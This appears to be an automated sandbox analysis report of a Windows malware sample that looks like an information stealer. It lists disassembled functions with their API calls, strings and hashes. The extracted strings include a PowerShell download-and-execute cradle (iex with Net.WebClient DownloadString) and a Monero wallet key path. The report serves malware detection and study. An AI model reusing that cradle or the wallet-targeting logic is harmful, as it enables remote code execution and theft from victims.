Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FF4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FF4FD1
InternetOpenA.WININET(01010DDF,00000000,00000000,00000000,00000000), ref: 00FF4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FF5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FF5041
InternetCloseHandle.WININET(?), ref: 00FF50B9
InternetCloseHandle.WININET(?), ref: 00FF50C6

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f2b3101b10cdde3cc0ae18f623b4822bd254e489cb2ed458aeae13a8e302acba
Instruction ID: 468b4ee12724d5d22e37ccfdfa37e6688085c8df8a4c0ba4e33b2148359a7c2c
Opcode Fuzzy Hash: f2b3101b10cdde3cc0ae18f623b4822bd254e489cb2ed458aeae13a8e302acba
Instruction Fuzzy Hash: 1C31F9B5A4021CABDB24CF54DC89BDCB7B4EB48704F5081E9E709A7284CB706EC59F98

Function 010083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01008426
wsprintfA.USER32 ref: 01008459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0100847B
RegCloseKey.ADVAPI32(00000000), ref: 0100848C
RegCloseKey.ADVAPI32(00000000), ref: 01008499

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

RegQueryValueExA.ADVAPI32(00000000,0198F718,00000000,000F003F,?,00000400), ref: 010084EC
lstrlen.KERNEL32(?), ref: 01008501
RegQueryValueExA.ADVAPI32(00000000,0198F700,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,01010B34), ref: 01008599
RegCloseKey.ADVAPI32(00000000), ref: 01008608
RegCloseKey.ADVAPI32(00000000), ref: 0100861A

Strings

%s\%s, xrefs: 0100844D

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e441679ccbfcdf54b2c08c9eafcff5e0371b3efd0125a1bf3969f03f0857d80f
Instruction ID: 5a2a0d8cf624b58e3916b473f6e6871f198854a4adaedb5e4f732de3c0c507a0
Opcode Fuzzy Hash: e441679ccbfcdf54b2c08c9eafcff5e0371b3efd0125a1bf3969f03f0857d80f
Instruction Fuzzy Hash: 05210A71A102189BEB64DB54DC84FE9B3B8FB48700F00C5E9A649A7280DF716A85CFD4

Function 01007690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010076A4
RtlAllocateHeap.NTDLL(00000000), ref: 010076AB
RegOpenKeyExA.ADVAPI32(80000002,0197BAB0,00000000,00020119,00000000), ref: 010076DD
RegQueryValueExA.ADVAPI32(00000000,0198F730,00000000,00000000,?,000000FF), ref: 010076FE
RegCloseKey.ADVAPI32(00000000), ref: 01007708

Strings

Windows 11, xrefs: 010076BD

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: c4697080fa8afc87dd1e802cdfeb47c80ef2fb8fc63cdf6df6118d079d176713
Instruction ID: 9422f9ff86771607a50d68dc9e78a26e5c05369905961f7145a8417f863d8390
Opcode Fuzzy Hash: c4697080fa8afc87dd1e802cdfeb47c80ef2fb8fc63cdf6df6118d079d176713
Instruction Fuzzy Hash: 1F014FB5A00208BBE711DBE4EC4DFADB7B8EB48701F0040A8FB85D72C4D674A9048B50

Function 01007720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007734
RtlAllocateHeap.NTDLL(00000000), ref: 0100773B
RegOpenKeyExA.ADVAPI32(80000002,0197BAB0,00000000,00020119,010076B9), ref: 0100775B
RegQueryValueExA.ADVAPI32(010076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0100777A
RegCloseKey.ADVAPI32(010076B9), ref: 01007784

Strings

CurrentBuildNumber, xrefs: 01007771

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 006a5fd4a4e48b0fff71151b28b2eb9399afcc3df677d91a4205d43e850d35b6
Instruction ID: 9c2f1ceb2be14d52e05f7e1d88931ac7edfa4ce094b066dedb090f90778df5d9
Opcode Fuzzy Hash: 006a5fd4a4e48b0fff71151b28b2eb9399afcc3df677d91a4205d43e850d35b6
Instruction Fuzzy Hash: 810167B5A40308BBE710DBE4EC4DFAEB7B8FB48700F004159FA45E7285D6745500CB51

Function 00FF99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 5387ae745010a2fcc55516c6200f1032a0b75d5e28a66e2ba0a8d2afa8164428
Instruction ID: d0803c5f1202ec73f86bee49c2a8025725623b556adef414c12d3b8603394de6
Opcode Fuzzy Hash: 5387ae745010a2fcc55516c6200f1032a0b75d5e28a66e2ba0a8d2afa8164428
Instruction Fuzzy Hash: 8131E9B4E0020DEFDB24CF94D989BAE77B5FF48350F108158E912A7294D778AA41DFA1

Function 01004780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0198F280), ref: 010047DB

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004801
lstrcat.KERNEL32(?,?), ref: 01004820
lstrcat.KERNEL32(?,?), ref: 01004834
lstrcat.KERNEL32(?,0197A890), ref: 01004847
lstrcat.KERNEL32(?,?), ref: 0100485B
lstrcat.KERNEL32(?,0198E2F0), ref: 0100486F

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008D90: GetFileAttributesA.KERNEL32(00000000,?,00FF1B54,?,?,0101564C,?,?,01010E1F), ref: 01008D9F

Part of subcall function 01004570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01004580
Part of subcall function 01004570: RtlAllocateHeap.NTDLL(00000000), ref: 01004587
Part of subcall function 01004570: wsprintfA.USER32 ref: 010045A6
Part of subcall function 01004570: FindFirstFileA.KERNEL32(?,?), ref: 010045BD

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 5624c974c383c2d31712abee821291d480a897e7a2cda56e029404eb505ed7c7
Instruction ID: 030347999cd37539847f30052e62e7525b47f3ba6de0461af9bc21eca7708825
Opcode Fuzzy Hash: 5624c974c383c2d31712abee821291d480a897e7a2cda56e029404eb505ed7c7
Instruction Fuzzy Hash: 84317FB2D00218A7DB21FBB0DC88EE9737CBB68700F444599A39997080EA74D7898B95

Function 01002C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

ShellExecuteEx.SHELL32(0000003C), ref: 01002D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 01002CC4
')", xrefs: 01002CB3
<, xrefs: 01002D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 01002D04

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c9a9c4155b502524fbc0b24a0830c408ccc7e41128f1e894f60e22a22e3fa666
Instruction ID: 1d7bd9ff35c14b460f104a9534dceecd83ce1562c3534c8a930a0fa3e7dd04cb
Opcode Fuzzy Hash: c9a9c4155b502524fbc0b24a0830c408ccc7e41128f1e894f60e22a22e3fa666
Instruction Fuzzy Hash: 0241BB71E10209DAEB16FBA1D894FDDBB74BF24300F404119E196AB1D4EF746A8ACF90

Function 00FF9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FF9F41

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00FF9E67
@, xrefs: 00FF9EF1
v10, xrefs: 00FF9EA3
v20, xrefs: 00FF9E21

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 99027b8347121964df0b738efc0ec919e06e142acd803f8f7e70fe13d509ed0f
Instruction ID: 14ed3f2d4a9ee333a7f452083565ebebbbbc5ba6ab5f5d3b47ad784d821f02cc
Opcode Fuzzy Hash: 99027b8347121964df0b738efc0ec919e06e142acd803f8f7e70fe13d509ed0f
Instruction Fuzzy Hash: 6F615B71A0020CEBDB24EFA4DC95FED7775BF54300F448118EA4A9F294EB746A0ACB91

Function 010040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0198E1D0,00000000,00020119,?), ref: 010040F4
RegQueryValueExA.ADVAPI32(?,0198F2C8,00000000,00000000,00000000,000000FF), ref: 01004118
RegCloseKey.ADVAPI32(?), ref: 01004122
lstrcat.KERNEL32(?,00000000), ref: 01004147
lstrcat.KERNEL32(?,0198F1A8), ref: 0100415B

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 0168c4cbbd2b598621f756826369015eb2595674d140aefb16c51c04429ad272
Instruction ID: 400fc4070f039bd047150ac5e43d82d097f4e0ad7b8bdcf8bb9a531195f6069c
Opcode Fuzzy Hash: 0168c4cbbd2b598621f756826369015eb2595674d140aefb16c51c04429ad272
Instruction Fuzzy Hash: 5941DAB6D00108ABDB25EBA0EC4AFFE733DBB58300F444558A755971C4EA759A888B91

Function 01007E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007E37
RtlAllocateHeap.NTDLL(00000000), ref: 01007E3E
RegOpenKeyExA.ADVAPI32(80000002,0197BD18,00000000,00020119,?), ref: 01007E5E
RegQueryValueExA.ADVAPI32(?,0198E310,00000000,00000000,000000FF,000000FF), ref: 01007E7F
RegCloseKey.ADVAPI32(?), ref: 01007E92

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: be147b651a0c8d8e0ae6e95019cea01fe44f0410b2ade58a8a9a055754b1bccd
Instruction ID: 38fd17ae31c0f18bc1d8067f6d70a465f4777a0231e80e58d295f744af88db57
Opcode Fuzzy Hash: be147b651a0c8d8e0ae6e95019cea01fe44f0410b2ade58a8a9a055754b1bccd
Instruction Fuzzy Hash: A7114FB1A44205EBD715CB94E949F7FBBB8FB08B10F104129F685E7284D7786C008BA1

Function 01009260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0198F1F0,?,?,?,0100140C,?,0198F1F0,00000000), ref: 0100926C
lstrcpyn.KERNEL32(0123AB88,0198F1F0,0198F1F0,?,0100140C,?,0198F1F0), ref: 01009290
lstrlen.KERNEL32(?,?,0100140C,?,0198F1F0), ref: 010092A7
wsprintfA.USER32 ref: 010092C7

Strings

%s%s, xrefs: 010092B5

